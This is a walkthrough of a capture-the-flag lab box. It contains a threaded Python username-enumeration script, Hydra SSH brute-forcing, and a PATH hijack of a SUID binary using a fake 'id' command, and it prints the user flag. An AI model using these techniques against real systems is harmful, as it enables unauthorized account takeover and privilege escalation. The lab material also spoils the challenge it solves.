Setting /etc/hosts

Trying to access the web page at port 80, gave me a "The connection has timed out" error, for some reason, my browser was not able to reach the page. By searching for this error I found out that the application was redirecting to lookup.htm and it was not possible to reach out until I added the host in /etc/hosts.

To do so I executed sudo vim /etc/hosts and added 2 new entries in the file:
10.10.114.228 files.lookup.thm
10.10.114.228 files.lookup.thm
now my /etc/hosts looks like the following.

127.0.0.1  localhost
127.0.1.1  kali
10.10.114.228   lookup.thm
10.10.114.228   files.lookup.thm
# The following lines are desirable for IPv6 capable hosts
::1   localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Refreshing the page Im able to access the page.

Directory bruteforcing

The first I did was a directory bruteforce with gobuster: gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://lookup.thm/ -x .php,.txt,.jsp,.xml | tee gobuster

the -x indicate file extention to check and the command tee redirects the output ot a file similarly to the > but it also prints the command output in the terminal. The pages found by Gobuster are shown below:

User enumeration

Navigating to the IP address or to lookup.thm I am presented with a login panel and I noticed that I am not in the /login.php path, hmm...

Analysing with BurpSuite

Now at this point, I have tried different enumerations to gain as much information as possible, manually or using automated enumeration tools such as Gobuster or Nikto. One of my big mistakes was to assume that if there was no mention of any users on the website it meant I didn't have to enumerate them. This is because, in my past challenges, there were users mentioned on the website, and usually they were the users to compromise.

I tried different combinations of usernames and passwords starting from commonly used default credentials and random usernames and passwords. I noticed that when trying the username admin I have a different error message. Normally by using random credentials the error message says Wrong username or password. Please try again. Redirecting in 3 seconds..

While using admin as a username, and a random password the error message changes to Wrong password. Please try again. Redirecting in 3 seconds..

This means I can enumerate users and check what users are registered in the system, and then given a username I can bruteforce the password, maybe? To enumerate the users I wrote the following Python scripts that test usernames from a wordlist and check the result returned by the server. Also the erro message path is at /login.php so the URL in the script is http://lookup.thm/login.php/ as this is the URL used to send the credentals. The headers are simplied copied fomr Burp's request.

#!/usr/bin/python
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import sys

url = 'http://lookup.thm/login.php/'

def userenum(username):
   headers = {
       'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
       'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
       'Accept-Language': 'en-US,en;q=0.5',
       'Accept-Encoding': 'gzip, deflate, br',
       'Content-Type': 'application/x-www-form-urlencoded',
       'Content-Length': '33',
       'Origin': 'http://lookup.thm',
       'Connection': 'keep-alive',
       'Referer': 'http://lookup.thm/',
       'Upgrade-Insecure-Requests': '1'
   }
   
   myobj = {'username': username, 'password': 'testpass'}
   x = requests.post(url, data=myobj, headers=headers)
   if "Wrong username" not in x.text:
       print(username)
       exit()

f = open(sys.argv[1], 'r')
usernames = f.read().splitlines()
num_threads = 10

def test_usernames_in_batches(usernames, num_threads):
   with ThreadPoolExecutor(max_workers=num_threads) as executor:
       # Submit all tasks in chunks to avoid memory overload
       for i in range(0, len(usernames), num_threads):
           batch = usernames[i:i + num_threads]
           futures = {executor.submit(userenum, username): username for username in batch}

           # Process results as they complete
           for future in as_completed(futures):
               username = futures[future]
               try:
                   future.result()  # To raise any exceptions if they occurred
               except Exception as e:
                   print(f"Error processing {username}: {e}")

test_usernames_in_batches(usernames, num_threads)

For this code, I took help from ChatGPT because the first version was single-threaded and it was very slow, I didn't how to create more threads. Note that ChatGPT or similar AIs are banned during OSCP and may be the same for other certifications as well. During this box, I didn't know that.

After quite a bit my script found a username, jose. Now I can proceed to brute force Jose's password with Hydra using rockyou.txt wordlist.

SUID program to exploit

Now I have to do lateral movement and compromise think and access as think user. Continuing my enumeration the next step is what program I can run with SUID. At this point, I do not know what will lead me in the right direction I am just following a Linux Privilege Escalation checklist found on Google used for the OSCP exam, kind of blindly.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ find / -perm -u=s -type f 2>/dev/null
<elFinder/php$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19457/usr/lib/snapd/snap-confine
/snap/core20/1950/usr/bin/chfn
/snap/core20/1950/usr/bin/chsh
/snap/core20/1950/usr/bin/gpasswd
/snap/core20/1950/usr/bin/mount
/snap/core20/1950/usr/bin/newgrp
/snap/core20/1950/usr/bin/passwd
/snap/core20/1950/usr/bin/su
/snap/core20/1950/usr/bin/sudo
/snap/core20/1950/usr/bin/umount
/snap/core20/1950/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1950/usr/lib/openssh/ssh-keysign
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pwm
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount

What caught my eye was the program /usr/sbin/pwm, it is an uncommon program that never found in my previous challenges, but it is worth looking into by runnig it.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ /usr/sbin/pwm
<.lookup.thm/public_html/elFinder/php$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

Very interesting! It runs the command Id that outputs something like this uid=33(www-data) gid=33(www-data) groups=33(www-data) to find the username and try to access the home directory by crafting the path with the name extracted from the command Id.

Giving a quick look at the home directory I can see that www-data has no home folder so the program /usr/sbin/pwm can't access such a folder. But the think do have a home folder. Only if I could provide the think user's Id instead of www-data...

Hijackin program execution

To go further I have to understand how Linux programs are executed from the terminal. The question to ask is: how does the terminal know where the program is when I write the name in the terminal like id, pwd, ls etc.? It uses a variable called PATH that lists a series of folder to check if they contains any program with the spcified name.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ echo $PATH
<les.lookup.thm/public_html/elFinder/php$ echo $PATH                
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

in this case the search paths are /usr/local/sbin, /usr/local/bin, /usr/sbin, /usr/bin, /sbin, /bin, and the first match will be executed as it check these folder in order. Each user has their own list of paths stored in the PATH variable. This means different users can have different paths where the system looks for programs. If a new path is added at the beginning of the list, the system will check that path first before looking at others. If it finds the program there, it won’t check the rest of the paths. This can be used to trick the system. For example, if someone adds a fake version of a command (like id) in a path that comes first, the system will run that fake command instead of the real one. The path I am going to use is /tmp as it is unresticted and I have read and write permission.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ export PATH=/tmp:$PATH
<hm/public_html/elFinder/php$ export PATH=/tmp:$PATH                
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ echo $PATH
<les.lookup.thm/public_html/elFinder/php$ echo $PATH                
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Now that /tmp is at the beginning of the PATH, if a program named id exists there, it will run instead of the real one. The idea is to create a new id program that gives as output the id of the user think instead of www-data. So first of all I need to know what the output of the real id of the user think is.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ cd /tmp
cd /tmp
www-data@lookup:/tmp$ id think
id think
uid=1000(think) gid=1000(think) groups=1000(think)

Now that we know the output of the id command of think user I can craft the simple bash program to give the exact same output.

echo -e '#!/usr/bin/bash\necho "uid=1000(think) gid=1000(think) groups=1000(think)"' > id

Now by running the program /usr/sbin/pwm I have a whole different output and it looks like a password wordlist.

www-data@lookup:/tmp$ /usr/sbin/pwm
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles
jose100190
jose10001
jose10.asd
jose10+
jose0_07
jose0990
jose0986$
jose098130443
jose0981
jose0924
jose0923
jose0921
thepassword
jose(1993)
jose'sbabygurl
jose&vane
jose&takie
jose&samantha
jose&pam
jose&jlo
jose&jessica
jose&jessi
josemario.AKA(think)
jose.medina.
jose.mar
jose.luis.24.oct
jose.line
jose.leonardo100
jose.leas.30
jose.ivan
jose.i22
jose.hm
jose.hater
jose.fa
jose.f
jose.dont
jose.d
jose.com}
jose.com
jose.chepe_06
jose.a91
jose.a
jose.96.
jose.9298
jose.2856171

Bruteforcing SSH password

Now the only other application that is left to compromise is the SSH. So I will try brute-forcing the think user's password with the wordlist found. But first I will save this list in a file on my local computer just by copy-pasting it from the terminal and naming the file "thinkoutput". hydra -l think -P ./thinkoutput 10.10.99.62 ssh -t 20

$ hydra -l think -P ./thinkoutput 10.10.99.62 ssh -t 20
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-30 09:14:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 20 tasks per 1 server, overall 20 tasks, 50 login tries (l:1/p:50), ~3 tries per task
[DATA] attacking ssh://10.10.99.62:22/
[22][ssh] host: 10.10.99.62   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 09:14:58

I can now log in as user think via SSH. ssh think@10.10.99.62

$ ssh think@10.10.99.62
The authenticity of host '10.10.99.62 (10.10.99.62)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:6: [hashed name]
    ~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.99.62' (ED25519) to the list of known hosts.
think@10.10.99.62's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 30 Jan 2025 02:19:12 PM UTC

  System load:  0.0               Processes:             131
  Usage of /:   59.7% of 9.75GB   Users logged in:       0
  Memory usage: 23%               IPv4 address for ens5: 10.10.99.62
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

7 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun May 12 12:07:25 2024 from 192.168.14.1
think@lookup:~$ 

As user think I am able to retrieve the user flag.

think@lookup:~$ ls
user.txt
think@lookup:~$ cat user.txt 
38375fb4dd8baa2b2039ac03d92b820e